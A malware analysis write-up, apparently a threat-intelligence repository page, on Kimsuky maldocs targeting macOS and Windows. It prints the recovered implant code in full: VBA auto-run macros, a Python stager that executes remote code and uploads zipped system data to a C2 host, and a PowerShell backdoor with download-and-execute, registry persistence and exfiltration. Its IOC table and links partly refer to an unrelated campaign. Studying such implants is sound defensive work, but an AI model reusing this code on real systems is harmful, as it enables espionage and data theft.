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North Korea/APT/Kimsuky/2020-03-20/Pictures/Analysis.md
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North Korea/APT/Kimsuky/2020-03-20/Pictures/Analysis.md
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# apt-get install kimsuky
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## Table of Contents
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* [Malware analysis](#Malware-analysis)
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+ [Python implant](#MacOSX)
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+ [Powershell implant](#Windows)
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* [Threat Intelligence](#Intel)
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* [Cyber kill chain](#Cyber-kill-chain)
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* [Indicators Of Compromise (IOC)](#IOC)
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* [Yara Rules](#Yara)
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* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
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* [Links](#Links)
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+ [Original Tweet](#tweet)
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+ [Link Anyrun](#Links-Anyrun)
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<h2>Malware analysis <a name="Malware-analysis"></a></h2>
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<h3>Python implant<a name="MacOSX"></a></h3>
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<h6>The initial vector is a maldoc which used a template injection for download and execute the next stage.</h6>
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```xml
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<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web" TargetMode="External"/>
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</Relationships>
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```
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<h6>This execute a second maldoc with a macro. The first block of the VBA code is the declaration for use the functions of the office version on Mac.</h6>
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```python
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#If Mac Then
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#If Win64 Then
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Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long
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#Else
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Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long
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#End If
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#End If
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```
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<h6>The last block of code is the function for auto-execute the malicious code. This request and execute python code in memory (fileless).</h6>
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```python
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Sub AutoOpen()
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On Error GoTo eHandler
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Application.ActiveWindow.View.Type = wdPrintView
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ActiveDocument.Unprotect "1qaz2wsx#EDC"
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Dim s As Shape
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For Each s In ActiveDocument.Shapes
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s.Fill.Solid
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s.Delete
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Next
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Selection.WholeStory
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Selection.Font.Hidden = False
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Selection.Collapse
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ActiveDocument.Save
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#If Mac Then
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cmd = "import urllib2;"
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cmd = cmd + "exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1')).read())"
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Result = popen("python -c """ + cmd + """", "r")
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#End If
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eHandler: 'if an error is throw exit
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Exit Sub
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End Sub
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```
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<h6>Firstly,this declare the imports, interesting to note that use posixpath package for get an universal path ( with "/") for easily manage theirs paths. </h6>
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```python
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import os;
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import posixpath;
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import urllib2;
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```
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<h6> Once this done, this create the path, enforce to remove the current maldoc and write it again (force but don't check their existence on the disk) for the persistence. </h6>
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```python
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home_dir = posixpath.expandvars("$HOME");
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normal_dotm = home_dir + "/../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm"
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os.system("rm -f '" + normal_dotm + "'");
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fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR);
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data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read()
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os.write(fd, data);
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os.close(fd)
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```
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<h6> Finally, execute the last fileless python script for the recon actions.</h6>
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```python
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exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read())
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```
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<h6>The first two functions of the final python script are for execute a new shell and push the program on an infinite loop.</h6>
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```python
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import os
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import posixpath
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import time
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import urllib2
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import threading
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from httplib import *
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def ExecNewCmd():
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exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read())
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def SpyLoop():
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while True:
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CollectData()
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ExecNewCmd()
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time.sleep(300)
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```
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<h6>The Collectdata function queries for get the system informations, files on the differents repetories, pack it on a password ZIP and send it to the C2.</h6>
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```python
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def CollectData():
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#create work directory
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home_dir = posixpath.expandvars("$HOME")
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workdir = home_dir + "/../../../Group Containers/UBF8T346G9.Office/sync"
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os.system("mkdir -p '" + workdir + "'")
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#get architecture info
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os.system("python -c 'import platform;print(platform.uname())' >> '" + workdir + "/arch.txt'")
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#get systeminfo
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os.system("system_profiler -detailLevel basic >> '" + workdir + "/basic.txt'")
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#get process list
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#os.system("ps -ax >> '" + workdir + "/ps.txt'")
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#get using app list
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os.system("ls -lrS /Applications >> '" + workdir + "/app.txt'")
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#get documents file list
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os.system("ls -lrS '" + home_dir + "/documents' >> '" + workdir + "/documents.txt'")
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#get downloads file list
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os.system("ls -lrS '" + home_dir + "/downloads' >> '" + workdir + "/downloads.txt'")
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#get desktop file list
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os.system("ls -lrS '" + home_dir + "/desktop' >> '" + workdir + "/desktop.txt'")
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#get volumes info
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os.system("ls -lrs /Volumes >> '" + workdir + "/vol.txt'")
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#get logged on user list
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#os.system("w -i >> '" + workdir + "/w_i.txt'")
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#zip gathered informations
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zipname = home_dir + "/../../../Group Containers/UBF8T346G9.Office/backup.zip"
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os.system("rm -f '" + zipname + "'")
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zippass = "doxujoijcs0qei09213@#$@"
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zipcmd = "zip -m -r '" + zipname + "' '" + workdir + "'"
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print(zipcmd)
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os.system(zipcmd)
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try:
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BODY = open(zipname, mode='rb').read()
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headers = {"User-Agent" : "Mozilla/5.0 compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language" : "en-US,en;q=0.9", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Content-Type" : "multipart/form-data; boundary=----7e222d1d50232"} ;
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boundary = "----7e222d1d50232";
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postData = "--" + boundary + "\r\nContent-Disposition: form-data; name=""MAX_FILE_SIZE""\r\n\r\n1000000\r\n--" + boundary + "\r\nContent-Disposition: form-data; name=""file""; filename=""1.txt""\r\nContent-Type: text/plain\r\n\r\n" + BODY + "\r\n--" + boundary + "--";
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conn = HTTPConnection("crphone.mireene.com")
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conn.connect()
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conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers)
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conn.close()
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#delete zipped file
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os.system("rm -f '" + zipname + "'")
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except:
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print "error"
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```
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<h6>This reuse the code of the structure of the php form for send teh data of the C2.</h6>
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```html
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<form enctype="multipart/form-data" action="upload.php?param=" method="post">
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<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />
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file send: <input name="file" type="file" />
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<input type="submit" value="send" />
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</form>
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```
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<h6>The main code execute a new thread the SpyLoop function.</h6>
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```python
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main_thread = threading.Thread(target=SpyLoop)
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main_thread.start()
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```
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<h3>Powershell implant<a name="Windows"></a></h3>
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<h6>The initial vector is a maldoc with a VBA macro which use an auto-execute function for get the content of theirs froms and execute in memory. The rest of the last three functions are useless.</h6>
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```vb
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Sub AutoOpen()
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delimage
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interface
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executeps
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shlet
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regpa
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End Sub
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Sub delimage()
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Selection.Delete Unit:=wdCharacter, Count:=1
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End Sub
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Function interface()
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TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value
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Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1)
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Open Trim(TmpEditPath) For Output As #2
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Print #2, JsEditContent.Text
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Close #2
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End Function
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Sub executeps()
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d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s"
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With CreateObject("WScript.Shell")
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.Run d1,0, False
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End With
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End Sub
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```
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<h6>We can see the command to download and execute the Powershell script.</h6>
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```vb
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-------------------------------------------------------------------------------
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VBA FORM Variable "TextBox1" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy'
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- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')
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-------------------------------------------------------------------------------
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VBA FORM Variable "TextBox2" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy'
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- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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C:\windows\temp\bobo.txt
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```
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```vb
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Sub shlet()
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Selection.WholeStory
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With Selection.Font
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.NameFarEast = "ÙºæýØÇ Û│áÙöò"
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.NameAscii = ""
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.NameOther = ""
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.Name = ""
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.Hidden = False
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End With
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End Sub
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Sub regpa()
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With Selection.ParagraphFormat
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.LeftIndent = CentimetersToPoints(2)
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.SpaceBeforeAuto = True
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.SpaceAfterAuto = True
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End With
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With Selection.ParagraphFormat
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.RightIndent = CentimetersToPoints(2)
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.SpaceBeforeAuto = True
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.SpaceAfterAuto = True
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End With
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Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
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Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
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End Sub
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```
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<h6>The first block of the Powershell script is the values used for the configuration (persistence, URL to join, path of the files, for run payload...).</h6>
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```csharp
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$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"
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$UP_URI = "post.php"
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$upName = "flower01"
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$LocalID = "flower01"
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$LOG_FILENAME = "flower01.hwp"
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$LOG_FILEPATH = "\flower01\"
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$TIME_VALUE = 3600000
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$EXE = "rundll32.exe"
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$MyfuncName = "Run"
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$RegValueName = "Alzipupdate"
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$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
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$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
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```
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<h6>The next block is for get the same informations that the MacOS version and for decode the commands send by the C2 to execute to victim.</h6>
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```csharp
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function Get_info($logpath)
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{
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Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
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dir $env:ProgramFiles >> $logpath
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dir "C:\Program Files (x86)" >> $logpath
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systeminfo >> $logpath
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tasklist >> $logpath
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}
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function decode($encstr)
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{
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$key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6)
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$len = $encstr.Length
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$j = 0
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$i = 0
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$comletter = ""
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while($i -lt $len)
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{
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$j = $j % 160
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$asciidec = $encstr[$i] -bxor $key[$j]
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$dec = [char]$asciidec
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$comletter += $dec
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$j++
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$i++
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}
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return $comletter
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}
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```
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<h6>The next function is for download the next commands as job by the C2.</h6>
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```csharp
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function Download
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{
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$downname = $LocalID + ".down"
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$delphppath = $SERVER_ADDR + "del.php"
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$downpsurl = $SERVER_ADDR + $downname
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$codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
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$comletter = decode $codestring
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$decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
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$RunningJob = Get-Job -State Running
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if($RunningJob.count -lt 3)
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{
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$JobName = $RunningJob.count + 1
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Start-Job -ScriptBlock $decode -Name $JobName
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}
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else
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{
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$JobName = $RunningJob.count
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Stop-Job -Name $RunningJob.Name
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Remove-Job -Name $RunningJob.Name
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Start-Job -ScriptBlock $decode -Name $JobName
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}
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$down_Server_path = $delphppath + "?filename=$LocalID"
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$response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()
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$response.Close()
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}
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```
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<h6>The last function is for upload the stolen to C2.</h6>
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```csharp
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function UpLoadFunc($logpath)
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{
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$Url = $SERVER_ADDR + $UP_URI
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$bReturn = $True
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$testpath = Test-Path $logpath
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if($testpath -eq $False){return $bReturn}
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$hexdata = [IO.File]::ReadAllText($logpath)
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$encletter = decode $hexdata
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$nEncLen = $encletter.Length
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$LF = "`r`n"
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$templen = 0x100000
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$sum = 0
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do
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{
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$szOptional = ""
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$pUploadData = ""
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Start-Sleep -Milliseconds 100
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$readlen = $templen;
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if (($nEncLen - $sum) -lt $templen){$readlen = $nEncLen - $sum}
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if ($readlen -ne 0)
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{
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$pUploadData = $encletter + $sum
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$sum += $readlen
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}
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else
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{
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$pUploadData += "ending"
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$sum += 9
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$readlen = 6
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}
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Start-Sleep -Milliseconds 1
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$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"
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$ContentType = 'multipart/form-data; boundary=' + $boundary
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$bodyLines = (
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"--$boundary",
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"Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF",
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"10000000",
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"--$boundary",
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"Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"",
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"Content-Type: application/octet-stream$LF",
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$pUploadData,
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"--$boundary"
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) -join $LF
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Start-Sleep -Milliseconds 1
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$psVersion = $PSVersionTable.PSVersion
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$r = [System.Net.WebRequest]::Create($Url)
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$r.Method = "POST"
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$r.UseDefaultCredentials = $true
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$r.ContentType = $ContentType
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$enc = [system.Text.Encoding]::UTF8
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$data1 = $enc.GetBytes($bodyLines)
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$r.ContentLength = $data1.Length
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$newStream = $r.GetRequestStream()
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$newStream.Write($data1, 0, $data1.Length)
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$newStream.Close();
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if($php_post -like "ok"){echo "UpLoad Success!!!"}
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else
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{
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echo "UpLoad Fail!!!"
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$bReturn = $False
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}
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} while ($sum -le $nEncLen);
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return $bReturn
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}
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```
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<h6>The main function push the persistence, send the data stolen and wait the new order.</h6>
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```csharp
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function main
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{
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||||
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
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$FilePath = $env:APPDATA + $LOG_FILEPATH
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New-Item -Path $FilePath -Type directory -Force
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$szLogPath = $FilePath + $LOG_FILENAME
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$key = Get-Item -Path $RegKey
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$exists = $key.GetValueNames() -contains $RegValueName
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if($exists -eq $False)
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{
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$value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue
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Get_info $szLogPath
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}
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while ($true)
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||||
{
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||||
FileUploading $szLogPath
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Start-Sleep -Milliseconds 10000
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Download
|
||||
Start-Sleep -Milliseconds 10000
|
||||
Start-Sleep -Milliseconds $TIME_VALUE
|
||||
}
|
||||
}
|
||||
main
|
||||
```
|
||||
|
||||
|
||||
|
||||
<h2>Threat Intelligence</h2><a name="Intel"></a></h2>
|
||||
#### Similarities between the different versions of kimsuky
|
||||
|
||||
<h6>Some similarities can be observed :</h6>
|
||||
<ul>
|
||||
<li><h6>On the URL path used for download script path like {?filename}=FilenameRquested".</h6></li>
|
||||
<li><h6>The structure used for upload the data are edited and pushed in the header.</h6></li>
|
||||
<li><h6>Multiples domains using the same base of domain mireene.com with recent samples of Kimsuky spotted :</h6></li>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>Hash (SHA1)</td>
|
||||
<td>Filename</td>
|
||||
<td>Domain</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>757a71f0fbd6b3d993be2a213338d1f2</td>
|
||||
<td>코로나바이러스 대응.doc</td>
|
||||
<td>vnext.mireene.com</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>5f2d3ed67a577526fcbd9a154f522cce</td>
|
||||
<td>비건 미국무부 부장관 서신 20200302.doc</td>
|
||||
<td>nhpurumy.mireene.com</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>a4388c4d0588cd3d8a607594347663e0</td>
|
||||
<td>COVID-19 and North Korea.docx</td>
|
||||
<td>crphone.mireene.com</td>
|
||||
</tr>
|
||||
</table>
|
||||
</ul>
|
||||
|
||||
<h6>The domains have the same output IP too and are located in South Korea</h6>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>IP</td>
|
||||
<td>Route</td>
|
||||
<td>ASN</td>
|
||||
<td>Organization</td>
|
||||
<td>City</td>
|
||||
<td>Region</td>
|
||||
<td>Coordinates</td>
|
||||
<td>Country</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>101.79.5.222</td>
|
||||
<td>101.79.5.0/24</td>
|
||||
<td>AS38661</td>
|
||||
<td>purplestones</td>
|
||||
<td>Kwangmyŏng</td>
|
||||
<td>Gyeonggi-do</td>
|
||||
<td>37.4772,126.8664</td>
|
||||
<td>South Korea</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<h2> Cyber kill chain <a name="Cyber-kill-chain"></a></h2>
|
||||
<h6>This process graph represent the cyber kill chain of the maldoc vector.</h6>
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/North%20Korea/APT/Kimsuky/2020-03-20/Pictures/Graph_power.PNG">
|
||||
</p>
|
||||
<h2> Indicators Of Compromise (IOC) <a name="IOC"></a></h2>
|
||||
<h6> List of all the Indicators Of Compromise (IOC)</h6>
|
||||
|
||||
|Indicator|Description|
|
||||
| ------------- |:-------------:|
|
||||
|Special Benefits.docx|6c9c6966ce269bbcab164aca3c3f0231af1f7b26a18e5abc927b2ccdd9499368|
|
||||
|Criteria of Army Officers.doc|1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1|
|
||||
|7All Selected list.xls|2aa160726037e80384672e89968ab4d2bd3b7f5ca3dfa1b9c1ecc4d1647a63f0|
|
||||
|ulhtagnias.exe|d2c46e066ff7802cecfcb7cf3bab16e63827c326b051dc61452b896a673a6e67|
|
||||
|198.46.177.73|IP C2|
|
||||
|
||||
<h6> The IOC can be exported in <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Pakistan/APT/Transparent%20Tribe/22-01-20/json/ioc.json">JSON</a></h6>
|
||||
|
||||
<h2> References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a></h2>
|
||||
|
||||
|Enterprise tactics|Technics used|Ref URL|
|
||||
| :---------------: |:-------------| :------------- |
|
||||
|Discovery|Query Registry|https://attack.mitre.org/techniques/T1012/|
|
||||
|C&C|Uncommonly Used Port|https://attack.mitre.org/techniques/T1065/|
|
||||
|Defense Evasion|Scripting|https://attack.mitre.org/techniques/T1064/|
|
||||
|Execution|Scripting|https://attack.mitre.org/techniques/T1064/|
|
||||
|
||||
<h6> This can be exported as JSON format <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Pakistan/APT/Transparent%20Tribe/22-01-20/json/Mitre-APT36-22-01-20.json">Export in JSON</a></h6>
|
||||
<h2>Yara Rules<a name="Yara"></a></h2>
|
||||
<h6> A list of YARA Rule is available <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Pakistan/APT/Transparent%20Tribe/22-01-20/yara/YARA_Rule_APT36_Jan_2020.yar">here</a></h6>
|
||||
<h2>Links <a name="Links"></a></h2>
|
||||
<h6> Original tweets: </h6><a name="tweet"></a>
|
||||
|
||||
* [https://twitter.com/Timele9527/status/1240620534468997125](https://twitter.com/Timele9527/status/1240620534468997125)
|
||||
* [https://twitter.com/Timele9527/status/1240123132419223554](https://twitter.com/Timele9527/status/1240123132419223554)
|
||||
* [https://twitter.com/cyberwar_15/status/1240779000256942080](https://twitter.com/cyberwar_15/status/1240779000256942080)
|
||||
|
||||
<h6> Links Anyrun: <a name="Links-Anyrun"></a></h6>
|
||||
|
||||
* [붙임. 전문가 칼럼 원고 작성 양식.doc](https://app.any.run/tasks/88f1b03b-67d2-49a9-8f21-7e990d802342)
|
||||
* [COVID-19 and North Korea.docx](https://app.any.run/tasks/1d2135b2-b7a3-4c31-a0ee-ab5742194068)
|
||||
Loading…
Reference in New Issue
Block a user